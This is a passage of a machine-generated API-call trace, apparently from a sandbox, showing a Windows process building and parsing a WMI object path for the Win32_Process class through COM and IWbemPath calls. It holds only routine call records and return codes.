(This=0x1bea1c70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.377] IWbemClassObject:Get (in: This=0x1bebc1c0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.377] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0061.378] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0061.378] IWbemClassObject:Get (in: This=0x1bebc1c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.378] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0061.378] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0061.378] IWbemClassObject:Get (in: This=0x1bebc1c0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0061.378] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0061.378] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0061.378] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.378] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.379] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.379] IUnknown:Release (This=0x111f638) returned 0x1 [0061.380] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7b50) returned 0x0 [0061.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7b50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.380] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7b50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1d30) returned 0x0 [0061.380] WbemDefPath:IUnknown:Release (This=0x11f7b50) returned 0x0 [0061.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1d30) returned 0x0 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.381] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f7b90) returned 0x0 [0061.381] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7b90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.381] WbemDefPath:IUnknown:Release (This=0x11f7b90) returned 0x3 [0061.381] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.381] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.381] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0061.381] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0061.381] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.381] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1d30) returned 0x0 [0061.381] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0061.381] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0061.381] WbemDefPath:IWbemPath:SetText (This=0x1bea1d30, uMode=0x4, pszPath="") returned 0x0 [0061.382] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.382] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.382] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.382] IUnknown:Release (This=0x111f638) returned 0x1 [0061.384] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7b50) returned 0x0 [0061.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7b50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.384] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7b50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1df0) returned 0x0 [0061.384] WbemDefPath:IUnknown:Release (This=0x11f7b50) returned 0x0 [0061.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1df0) returned 0x0 [0061.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.385] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0061.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f7bd0) returned 0x0 [0061.385] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7bd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.385] WbemDefPath:IUnknown:Release (This=0x11f7bd0) returned 0x3 [0061.385] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.385] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.385] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0061.385] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x1 [0061.385] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.385] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1df0) returned 0x0 [0061.385] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0061.385] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0061.385] WbemDefPath:IWbemPath:SetText (This=0x1bea1df0, uMode=0x4, pszPath="") returned 0x0 [0061.385] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.385] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1d30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.385] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1df0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0061.386] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1df0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0061.386] WbemDefPath:IWbemPath:SetServer (This=0x1bea1df0, Name="Q9IATRKPRH") returned 0x0 [0061.386] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0061.386] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0061.386] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0061.386] IUnknown:Release (This=0x111f638) returned 0x1 [0061.387] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7bf0) returned 0x0 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7bf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0061.388] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7bf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1eb0) returned 0x0 [0061.388] WbemDefPath:IUnknown:Release (This=0x11f7bf0) returned 0x0 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1eb0) returned 0x0 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0061.388] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f7c30) returned 0x0 [0061.388] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f7c30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.388] WbemDefPath:IUnknown:Release (This=0x11f7c30) returned 0x3 [0061.388] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.388] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.389] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0061.389] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0061.389] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.389] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1eb0) returned 0x0 [0061.389] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0061.389] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0061.389] WbemDefPath:IWbemPath:SetText (This=0x1bea1eb0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0061.389] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1df0) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1eb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1eb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0061.389] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1df0, uIndex=0x0, pszName="ROOT") returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1eb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1eb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0061.389] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1df0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1df0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0061.389] WbemDefPath:IWbemPath:SetClassName (This=0x1bea1df0, Name="Win32_Process") returned 0x0 [0061.389] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0061.390] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 